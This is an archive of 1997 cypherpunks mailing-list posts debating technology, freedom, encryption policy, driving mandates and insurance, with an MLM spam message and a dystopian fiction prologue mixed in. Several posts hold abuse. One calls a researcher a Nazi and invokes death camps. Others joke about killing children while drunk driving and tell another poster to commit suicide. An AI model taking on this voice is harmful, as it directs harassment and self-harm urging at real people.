  'Freedom' has always been buggered by the 'Great Exception'. The GE
generally rests on a foundation related to denying individuals the right
to 'abuse' that freedom.
  Of course, the definition of abuse has always followed a course that
might be compared to a mathematical relationship between the position of 
ladies hemlines and the number of denominations in the 'current' One
True Religion.

  Freedom exists not so much in terms of the current/individual
definition of freedom, but in the caliber of the weapon with which
one defends their own definition of freedom.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Mar 1997 23:19:18 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Technology and loss of freedom
In-Reply-To: <199703180600.AAA11976@manifold.algebra.com>
Message-ID: <332E41AB.34BD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > There are tradeoffs between the old and new - in the old society,
> > say, the USA circa late 1800's to early 1900's, we were much more
> > violent.  The big stir about shooting 4 students at Kent State
> > would be severly dwarfed by the mass killing of 1200 in one day
> > in New York city in the anti-draft riots of the mid-1860's,

> Could it be due to excess of men?  Or lack of education?

Today we have to be much more subtle to drag the kids off to kill
and die, hence the Ken Burns-style poster at the U.S. Post Offices
which says "A man's gotta do what a man's gotta do", i.e., one of
the first lessons in logic courses is the unspoken lie in the quote.

In the old days, they didn't have to be so subtle - they could call
up all manner of demonic images of the enemy, or claim that God had
called them to slay the infidels, which was rampant as late as the
"Civil" War circa 1865.  There's a song "The Battle Hymn Of The
Republic", which was crafted to crank up the emotion to kill the
Southerners.  (It never occurred to king schmucko Ken Burns that
slavery wasn't against the law until 1863).

It actually surprises me (how naive, you say) that they could get
away with the Incubator Baby Scam in Congress circa 1991.  Funny
thing is, one of my young charges visited the Museum Of Tolerance
in Los Angeles recently, and there was an eerily similar account
of Hitler's men throwing Jewish babies out of the hospitals....

> > Personal (non-government) violence was rampant long ago - men and
> > women as parents routinely called up the Bible verse "spare the rod
> > and spoil the child" to beat the living crap out of their kids.
> > Don't even ask about the violence against women.

> > What did they do with the poor women?

Women would disappear for weeks at a time, from time to time,
generally to fix some "female problem" at the hospital (no need
for the kids to visit, better to have fun visiting aunts and uncles,
or have a nanny over for a couple of weeks) until the "problem"
was taken care of.

If you could allow me to use the freeways as a model for potential
violence, when there is a very stressful situation at hand, and
people are allowed to do things that they would never do outside
of the confines (and protection) of their cars, it is this:

At home in the old days, with a wife and several kids (families
were mostly larger then), you often had a boiling bot for stress,
and the (effectively) legal act of beating one's wife severely
would be covered up by the "family, friends, neighbors, and church".
Especially the church, the good old Christian church (my experience)
where God is a terrible God and the punishment for even raising an
eyebrow to His Agent on Earth (daddy) might be a body damaged for
life in some way.  The power and the temptations inherent in the
sovereignty of a man's home were too much for most people to
manage honestly and fairly, hence the heavy reliance on Bible
verses to cover up/justify the excesses.

This BTW is one of my most important reasons to distrust Libertarians
and other Right-Wingers, i.e., the sovereignty of the home principle.
It cuts both ways, you see...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Mar 1997 23:25:22 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: ORGANIZED CRIME AND TECHNOLOGY TRENDS
In-Reply-To: <199703171537.HAA06350@well.com>
Message-ID: <332E431E.4083@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> > From: denning@cs.georgetown.edu (Dorothy Denning)
> > Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS
> > We are in the process of writing a report on the impact of technology
> > and encryption on domestic and international organized crime.  The
> > results will be presented to the Working Group on Organized Crime of the
> > National Strategy Information Center in Washington, DC on April 29.
[snippo]

> I hope that your sorry, Nazi asses burn in Hell for the vile,
> fascist legislation that you and your kind are attempting to
> foist upon the public.

Toto, I think you're gonna get a couple demerits for that one.

> Perhaps you could suggest 'trial' legislation which only denies
> strong cryptography to Jews, intitially. Then, if your efforts to
> round them all up and send them to the death camps are successful,
> you could point to this success as reason to expand the legislation.

Death camps?  Aw, shit.  You know, once you've accumulated 20 or so
Attaboys, one Awshit can erase the whole stack.  Guess you'll hafta
start over.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 21:30:55 -0800 (PST)
To: Brian D Williams <talon57@well.com>
Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS
In-Reply-To: <199703171537.HAA06350@well.com>
Message-ID: <332E2854.A0E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> From: denning@cs.georgetown.edu (Dorothy Denning)
> Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS
> 
> We are in the process of writing a report on the impact of technology
> and encryption on domestic and international organized crime.  The
> results will be presented to the Working Group on Organized Crime of the
> National Strategy Information Center in Washington, DC on April 29.
 
>  Even if you have not encountered encryption, we
> are interested in your views on how it will be exploited by organized
> crime and ultimately affect our ability to fight global organized crime.

  I don't think that there is any need for you to fish for imaginary 
scenarios involving organized crime and encryption as there is more
than enough hard evidence of these crimes being comitted by governments
around the world.
  The ultimate form of encryption, for example, is the use of the Top
Secret / National Security scam to limit the criminal actions of the
government to being viewed only by those who are taking an active part
in the crimes against the citizens and the subverting of personal 
privacy and freedom. 
  Another particularly criminal form of encryption is the corruption
of the truth by disinformation campaigns and deceitful scare tactics
which government agencies use to disguise the true nature of their
freedom-limiting legislation and regulations.
  I could go on and on, but I seriously doubt that you want to hear
about it. 

  I am certain that you are making a great amount of money in your
efforts to lower the Jackboots on the citizens of the world by 
claiming that their freedom and privacy must be taken from them
in order to protect them. I hope that you get filthy rich, the key
word here being 'filthy'.
  It amazes me that someone would self-righteously proclaim that I
need protection from drug-dealers who are not passing legislation 
forcing me to use their products, and claim that their efforts to
pass legislation to imprison me for exercising my right to privacy
are some holy crusade.

  I hope that your sorry, Nazi asses burn in Hell for the vile,
fascist legislation that you and your kind are attempting to
foist upon the public.
  Perhaps you could suggest 'trial' legislation which only denies
strong cryptography to Jews, intitially. Then, if your efforts to
round them all up and send them to the death camps are successful,
you could point to this success as reason to expand the legislation.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Mar 1997 23:36:58 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Market Failures, Monocultures, and Dead Legislators
In-Reply-To: <199703170222.SAA07397@gulch.spe.com>
Message-ID: <332E45D8.74CC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Dale Thorn wrote:
> > The best reason to oppose air bags and seat belts is that they
> > protect the worst class of drivers (those who run into things,
> > as opposed to those who get run into), who should be killed
> > by their stupidity.  (Survival of the fittest, without govt.
> > interference).

> How about a law prohibiting legislators from wearing seat-belts?
> I think we could get a grass-roots thing going on this one.

In California, they have those infamous Prop-nnn's, and the exercises
the leg'os have to do to get around them could fill volumes.  Here
in the Land of Sunshine your son or daughter can begin their dream
quest in the fry section of the local McD's, then when they graduate
I.S. from Cal-State (Indentured Servant, $200,000 student loans),
they can move right on up to waterboy/girl for Barbara Boxer and
her mindless goon assistants.

To begin with, all politicians should be required to ride around in
limos with the top down.  If it rains, let 'em use umbrellas.  The
guys standing by the road watching will be smart enough to bring their
umbrellas [hee hee].





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 22:17:50 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Market Failures, Monocultures, and Dead Legislators
In-Reply-To: <199703170222.SAA07397@gulch.spe.com>
Message-ID: <332E2C5D.79A4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> The best reason to oppose air bags and seat belts is that they
> protect the worst class of drivers (those who run into things,
> as opposed to those who get run into), who should be killed
> by their stupidity.  (Survival of the fittest, without govt.
> interference).

  How about a law prohibiting legislators from wearing seat-belts?
I think we could get a grass-roots thing going on this one.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 17 Mar 1997 22:09:20 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Technology and loss of freedom
In-Reply-To: <332E2BA9.3AAF@gte.net>
Message-ID: <199703180600.AAA11976@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> I'd argue that the worst thing was probably television, since now
> people don't go outdoors a lot and talk to their neighbors like
> they used to.  Today, in most cities, you don't even know the
> neighbors unless they blocked your parking space.

Yes, TV is bad. I personally do not watch TV at all, my TV set
is packed in a box.

> There are tradeoffs between the old and new - in the old society,
> say, the USA circa late 1800's to early 1900's, we were much more
> violent.  The big stir about shooting 4 students at Kent State
> would be severly dwarfed by the mass killing of 1200 in one day
> in New York city in the anti-draft riots of the mid-1860's, and
> the bombings of the MOVE neighborhood in Philly circa 1985 and
> WACO circa 1993 would be insignificant compared to what happened
> to the American Indians.

Could it be due to excess of men?

Or lack of education?

> Personal (non-government) violence was rampant long ago - men and
> women as parents routinely called up the Bible verse "spare the rod
> and spoil the child" to beat the living crap out of their kids.
> Persons who were grown up in the 1940's and 1950's will recall the
> days when parents would beat their kids in public when "necessary",
> and when at home, beat kids so badly that you could hear the scream-
> ing a block away.  Don't even ask about the violence against women.

What did they do with the poor women?

> This is only one example of the horrors of living in the "good old
> days" - if necessary, I could catalogue some other examples.
> 

That would be interesting, at least to me.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: darrington@debtfree.com
Date: Tue, 18 Mar 1997 00:23:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: ISP Services Will Never Be The Same Again!
Message-ID: <199703180822.AAA27803@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello Team Members,

  The following is a new company offering Internet services on 
the Web.It's free to sign up for the pre-launch. You are not 
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you to make a descision on the package when the complete details 
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interested in this MLM Internet service concept. When someone 
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 Check out the Web site when you have time.


************** Pre-Launch************Free To Join**************
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Pre-Launch on one of the most exciting Internet Service firms
to come along this decade is just around the corner (March '97).

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the time to check this out before your friends tell you they
have already joined for no cost:

   http://ivcs.com/1stfamily/2078.html

It is really working.... I just signed up three new members 
in the last 10 minutes....

Go for it....

Dean F. Arrington







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 22:47:16 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Technology and loss of freedom
In-Reply-To: <199703180600.BAA27152@homer.iosphere.net>
Message-ID: <332E39EA.4EED@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
 
> Maslow's Hierarchy of Needs is another useful argument here - people
> were so concerned with feeding and clothing themselves that they did
> not have time to concern themselves with niceties like freedom.

  The same is true today. Both government and industry operate on the
principle that control over money/employment is the ring which they can
place through the noses of the populace in order to lead them into any
type of freedom-delimiting pen they wish.
  If you want your children to eat, then you had best be prepared to
piss into a jar when told to do so.
  The government and business are able to foist innumerable atrocities
on the populace just by virtue of screwing them around in so many ways
that they can only focus their energy in overcoming a few of them.
  A woman who has to spend five years fighting for the right not to be
passed over for promotion for having ovaries is not likely to have a lot
of energy left over for fighting against having to piss in a jar, as
well.

  Big Brother and Big Business chip away at a thousand 'petty' freedoms
and act like they are being noble and gracious when they return a few
to the citizens after long, hard battles against doing so.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Mon, 17 Mar 1997 22:00:15 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: Re: Technology and loss of freedom
Message-ID: <199703180600.BAA27152@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Igor Chudov philosophised:
> I have a thesis that it is the development of technology that has, over
> the last 100 years, eroded the basis for and appreciation of human
> freedom.  Technology has also done precious little for advancing human
> freedoms (although cryptography may be an exception).
> 
> Let's first define freedom as the ability of people to do things without
> forceful interference from the government. This is an arbitrary
> definition, but it appears to be useful for the analysis below.
> 
> First of all, 200 years ago it was very hard for lone people to endanger
> lives of themselves and many others.

Unfortunately not true - large conflagrations were all too common
because of the reliance on fire for heating / cooking, wood-based
construction with thatched roofing, and lack of organised,
well-equipped fire brigades.

> Similarly, people did not have fast moving vehicles and
> any traffic did not present serious danger for innocent bystanders.

True, but the highway brigands did pose a danger.  Additionally,
wandering nobility could (and did) commandeer attractive young
peasants of either gender for a "visit".  The consequences
(psychological and/or physical) for these young peasants were
irrelevant.

> "Hard drugs" also became available only in the recent past [please 
> correct me] due to advancements in chemistry and medicine.

Potable water is also a fairly recent innovation.  Beer and wine were
generally much safer (before they went sour, that is) than the raw
sewage that flowed downstream from the next village.  Humans have
been chewing various leaves, roots, etc. for millenia. Some of these
"natural" items are just as intoxicating as so-called "hard drugs".

> If you ride a horse, there is no perceived need for an airbag or a
> mandatory horse insurance. If all houses are 1 story tall, nobody is afraid
> of an OK City type explosion.
> 
> With the advent of technology, the balance of perceived social needs and
> government capabilities shifted radically, and it shifted away from the
> great freedoms of the past. The public perception of freedom now is that
> freedom is inherently dangerous and is a threat to the public itself.

SCA leanings notwithstanding, you cannot convince me that life back
then was "freer" than now.  Peasants could not leave their land,
shopkeepers and artisans were limited by the guilds, and nobles were
obliged to comply with the wishes of their "superiors" or be
labelled traitors.  

Maslow's Hierarchy of Needs is another useful argument here - people 
were so concerned with feeding and clothing themselves that they did 
not have time to concern themselves with niceties like freedom.

A professor of medieval studies once said that the most accurate
depiction of Ye Goode Olde Life is in Monty Python's "Holy Grail",
in the "Bring Out Yer Dead" scene.  ("Must be a king."  "Why?" "He
hasn't got sh*t all over 'im.")

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Mar 1997 23:29:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dead Kids (Oh My!)
In-Reply-To: <199703180632.BAA29239@homer.iosphere.net>
Message-ID: <332E423E.5A94@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
 
> The problem with truly criminal drivers, including the criminally
> incompetent, is that they tend to kill other people too.  They also
> have a distressing habit of surviving, unlike the family of four
> they hit while running the red light.

  The reason I start drinking in the morning is that, at bar-closing
time, it's just so damn hard finding a school-bus full of children.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Mar 1997 00:03:40 -0800 (PST)
To: dthorn@gte.net
Subject: Introductory Post
In-Reply-To: <199703171537.HAA06350@well.com>
Message-ID: <332E4C4A.133@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
 
> Death camps?  Aw, shit.  You know, once you've accumulated 20 or so
> Attaboys, one Awshit can erase the whole stack.  Guess you'll hafta
> start over.

Hi,
  My name is Toto. I'm handsome, witty, and have a humungous schlong.
  I hope you will not put me in your KillFile, because I am a sensitive
person, and easily hurt. Not that I don't support a list member's right-
to-choose. It's just that it would make you a free-speech murderer.
  I could send you some graphic pictures of KillFiled posts, and believe
me, it is not a pretty picture. Hanging indents, misplaced pronouns.
  I also have some sex graphics, with dangling participles.

  As well, KillFiling can be stastistically shown to have racist
underpinnings, as shown by the large number of Ebonics posts which 
were ruthlessly murdered in the past (although there are those that
claim that it was only in retribution for the English language being
murdered first).

  I have been a CypherPunk since kindegarten, when I learned Pig-Latin,
and I believe that the only answer to noise is to quote the noise,
while adding, "Shut up Dr. Vulis!!!!"
-- 
::
Anon-To: cypherpunks@toad.com
Cutmarks: -- 

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Tue, 18 Mar 1997 00:28:44 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Technology and loss of freedom
In-Reply-To: <199703180220.UAA09325@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970318030048.142A-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Igor Chudov @ home wrote:

-> Technology has also done precious little for advancing human
-> freedoms (although cryptography may be an exception).

I would disagree.  Technology has done an incredible ammount for advancing
human freedom.

Communication is a prime example.  The printing press has resulted in 
widespread education, which is a great facilitator of freedom when its not
a purely socializing force.  It has also facilitated insurrections and 
revolutions (the Revolutionary War here in the States is a good example).
This, though not always leading to 'democracy', is a self determining act,
and thus a free one.

Technology has also made travel easier.  This, combined with communication
has led, and is leading, to greater cosmopolitanism.  The result of this
cosmopolitanism is the loosening of the bonds of tradition and taboo in
any particular culture.  It also promotes greater understanding and peace,
perhaps following an initial isolationist reaction.

Science, the mother of technology, has led to freedom from stifling
religious dogma (perhaps substituting some of it's own dogma, of course).

Medical technological advancement has resulted in a longer life span,
which increases the opportunities alloted to man within his lifetime.
This also translates to an increase in freedom of action.


Whether people use this freedom or not, is a seperate issue.


I am also not unaware of the detractions of technology, and how it has
been used to curtail freedom.  It has many other detractions as well.
In fact, I am of the oppinion that we have indeed paid too dear a price 
for such rapidity of technological advancement.  The fire that has been 
stolen from the gods is burning our house down.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 18 Mar 1997 02:51:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Prologue
Message-ID: <332E735C.7E7A@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: Tragedy / TV_WORLD Prelogue






Prologue to 'WebWorld & The Mythical
Circle of Eunuchs'


Prologue

The great tragedy of it, is that it didn't have to
happen. Not at all...we were warned.
And yet, still, it has come to this.

I don't know why I feel this overwhelming compulsion
to go on and on about it. I could have done something. We all
could have done something.
Perhaps the final epitaph on the gravestone of Freedom
will be, 
"Why didn't somebody do something?" 

That seems to be the common battle-cry of the legions
of humanity that have been sucked into the vortex of the New
World Order.
None of the imprisoned seem to know that the very phrase itself
is reflective of the source of their imprisonment...that this
desperate cry of anguish is in no way an antidote for the terrible
disease that has afflicted 'Liberty and Justice', and that
it is, rather, merely the final symptom of the cursed blight itself.

I can hear the rumbling of the trucks as they come
up the street, and soon I will be hearing the thumping of the
jackboots storming up the staircase, as I have heard them so many
times before. But I suspect that this time, the sound will be
different, that it will have an ethereal quality about it, one
which conveys greater personal meaning than it did when I heard
it on previous occasions.
This time, they are coming for me.

My only hope, is that I can find the strength of
character somewhere inside myself to ask the question which lies
at the heart of why there is a 'they' to come for me at all...why,
in the end, it has finally come to this for me, as for countless
others.

The question is, in retrospect, as simple and basic
as it is essential for any who still espouse the concepts of freedom
and liberty to ask themselves upon finding themselves marveling
at the outrageousness being perpetrated upon their neighbors by
'them'...by 'others'...by 'Friends of the Destroyer.'

The question is:
"Why didn't I do something?"


These are the words that legend ascribes to the tombstone erected
in a 'potters field' outside of the B.TV city of Austin, Texas.
The tombstone, according to historians who have verified it's
existence, though it was removed after being in place for less
than twenty-four hours, was supposedly that of Vice-Admiral B.
D'Shauneaux.

Although historians have verified the existence of the grave,
as well as the tombstone, the actual words inscribed on the tombstone
remain in the realm of mythology, as does the true identity of
the individual whose grave site it bequeathed with such legendary
eminence

The irony of this mythological epitaph-which is said to be a verbatim
translation of the final words written on the Vice-Admiral's computer
screen when the jackboots laid to the door of his country home
finally gained entry, only to find themselves too late to torture
yet another living creature-the irony is that it was written by
one who, according to a 'parallel,' underground legend ascribed
to the mythological Circle of Eunuchs, was, rather than
the 'Right Hand of the Destroyer' that history records him to
be, actually a tragic figure who, caught up unknowingly in the
great drama played out between the Forces of Light and the Forces
of Darkness, condemned himself to a life of quiet desperation,
restraining himself from acting on the dictates of his conscience
because he felt that to do so would bring great danger to those
whom history would have us believe he was responsible for ravaging
mercilessly, and without conscience.

The great irony is that this lexical obelisk to such ancient concepts
as freedom, justice, and liberty, was written by an individual
who, by condemning himself to a life of separation from those
striving to defend these ideals, did more to protect these concepts
from total obliteration from the face of the earth-if you choose
to believe mythology over history-than those who actively strove
to proclaim them.

The sublime irony of these words is that, despite their self-accusatory
nature, they are an embodiment of the highest standard possible
for any and all who lay claim to being a 'person of conscience'-a
self-decreed standard which, rather than lauding oneself for sacrificing
'much' for the cause of freedom among mankind, instead decries
one's failure to sacrifice 'all' for this noblest of causes.

And the ultimate irony, for those whose cry of lament remains,
"Why didn't somebody 'do' something?", lies in the empty
grave lying next to that purported to be the Vice-Admiral's final
resting place-the grave which, legend has it, is reserved for
the last free man or woman remaining on this planet. The grave
whose headstone is a plain and simple mirror.

Legend has it that, at dusk during the spring equinox, that one
who gazes into the mirror will hear the sound of the Vice-Admiral's
voice echoing through the labyrinth of the communal mind of mankind,
whispering as if it were a gentle breeze rustling softly through
the leaves of the aged willows surrounding the site.

It is a voice tinged with an equal mixture of conscience and remorse.
It is a voice that whispers, quite simply, 

"Why didn't I do something?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 06:17:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <v03007801af538e98909a@[207.167.93.63]>
Message-ID: <1ZgR4D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 5:48 PM -0600 3/17/97, Igor Chudov @ home wrote:
> >do you also oppose mandatory liability insurance?
>
> Yes.

In New York State, every motorist is supposed to have $10K insurance as
well as a licence. Of course, a lot of drivers in New York City have
no licences or expired/suspended licences, and no insurance. If you're
injured by an uninsured driver, or someone who fled, or someone with
no assets and a $10K insurance and $500K claim, then your only hope
to recover something is to carry "underinsurance insurance" with your
own insurer. I understand that it's even messier in New Jersey.

It would be much healthier if instead of trying to file a claim
against the other party's insuerer (if it exists :-) you always
filed a claim against your own insuerer and let them figure out
who to sue. The system doesn't work.

> (By the way, Igor, could you make a greater effort to snip out sections of
> posts you are not directly commenting upon?)

Learn to ignore what you're not interested in, Timmy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 18 Mar 1997 05:30:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mechanical workings of Enigma
In-Reply-To: <m0w6sih-0007sOC@fwd00.btx.dtag.de>
Message-ID: <332E9654.79E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


At ftp://agn-www.informatik.uni-hamburg.de/pub/cryptsim/, there are
 several photos of an Enigma, and simulators for DOS and Windows.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 06:17:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970317203227.007eb400@smtp1.abraxis.com>
Message-ID: <9HHR4D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


camcc@abraxis.com (Alec) writes:

> Tim,
>
> There would be more room if your sig weren't so long. :->

Guys with short dicks use long sigs.

> As you know, every year there are a certain number of child deaths as a
> result of reactions to state-mandated innoculations/vaccinations.  Gone too?
>
> Perhaps the difference, or rationale, here is the possible spread of disease
> to others, rather than trying to protect the individual from himself.

Suppose X chooses to innoculate their kids and Y chooses not to innoculate
their kids against, say, polio; and Y's kids get it. They're not going
to give it to someone whose parents chose to innoculate them. (This is
a kind of borderline example, not unlike circumcision.  The individual
affected by the choice is too young to understand what it's all about,
but doesn't want to be stuck with a needle. Why are the parents more
qualified to make decisions for him than the state?)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 06:17:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <Pine.SOL.3.92.970317195749.6045B-100000@cavern.uark.edu>
Message-ID: <3uHR4D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Mac Norton <mnorton@cavern.uark.edu> writes:

>
> On Mon, 17 Mar 1997, Timothy C. May wrote:
>
> > At 5:48 PM -0600 3/17/97, Igor Chudov @ home wrote:
> > >do you also oppose mandatory liability insurance?
> >
> > Yes.
>
> And do you also oppose financial responsibility requirements
> for obtaining the privilege of operating an automobile on
> public roads?
> MacN

Dunno about Akransas (that's where Uark.edu is, ain't it). Your
state is the home state of the muerderer Bill KKKlinton. You should
commit suicide at once.

But in the more civilized states, like New York or California, if
you have an accident and your (good) car is totalled, then one of
these three things will happen:

* The other driver, who's at fault, has fled. You sue your own insurance
company.

* The other driver has minimal insurance and no assets. You sue your
own insurance company (and the other guy).

* You don't carry the appropriate insurance with your own insurance
company and have no chance to recover much.

Things would be much easier for everyone, including the drivers and
the insueres, if the mandatory liability insurance was abolished
and evryone delt with their own insurer - who would then try to
recover damages from the other party if they had assets. The only
people who benefits from the existing system are state bureaucrats.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Tue, 18 Mar 1997 06:04:04 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Dead Kids (Oh My!)
In-Reply-To: <332E423E.5A94@sk.sympatico.ca>
Message-ID: <Pine.BSD/.3.91.970318085836.21543A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 18 Mar 1997, Toto wrote:

>   The reason I start drinking in the morning is that, at bar-closing
> time, it's just so damn hard finding a school-bus full of children.

You could shift your attention to late-night ambulances - you'd get double
bonus pity-points ;-)

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Tue, 18 Mar 1997 10:09:41 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <88CE23A0B727D0118BB000805FD47524010C1FF8@RED-81-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



From:	Declan McCullagh

	The short answer, perhaps, is that government should as a
general rule
	adopt those policies that allow the greatest freedom over the
long term.
	Private social pressure from families and communities may then
develop
into a more powerful force.
.....................................................


There are limits to what can be accomplished through government.
'Government' is a coercive medium for effecting results; if everything
could be accomplished by coercion, then it would rightly be expected
that everything (everyone) should be always to be subject to coercion in
order to have a smoothly running social machine.

But if everything (all the benefits that people expect from social
arrangements) could be accomplished by coercion, we wouldn't be the kind
of life forms that we are.   We would be the equivalent of "technology",
subject to someone (else's) latest algorithmic program.

Certainly under such an arrangement there would be no need for privacy.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 18 Mar 1997 09:55:15 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <v03007800af5488ef3094@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:54 AM -0500 3/18/97, Declan McCullagh wrote:
>*sigh* I'm responding to Vulis...
>
>The short answer, perhaps, is that government should as a general rule
>adopt those policies that allow the greatest freedom over the long term.
>Private social pressure from families and communities may then develop
>into a more powerful force.
>

Precisely.

One of the ways I look at this (it's a big topic, so there are lots of ways
of looking at it) is that when Big Brother or Big Mommy makes decisions for
people, they tend to lose their ability or desire to make moral choices for
themselves and their families.

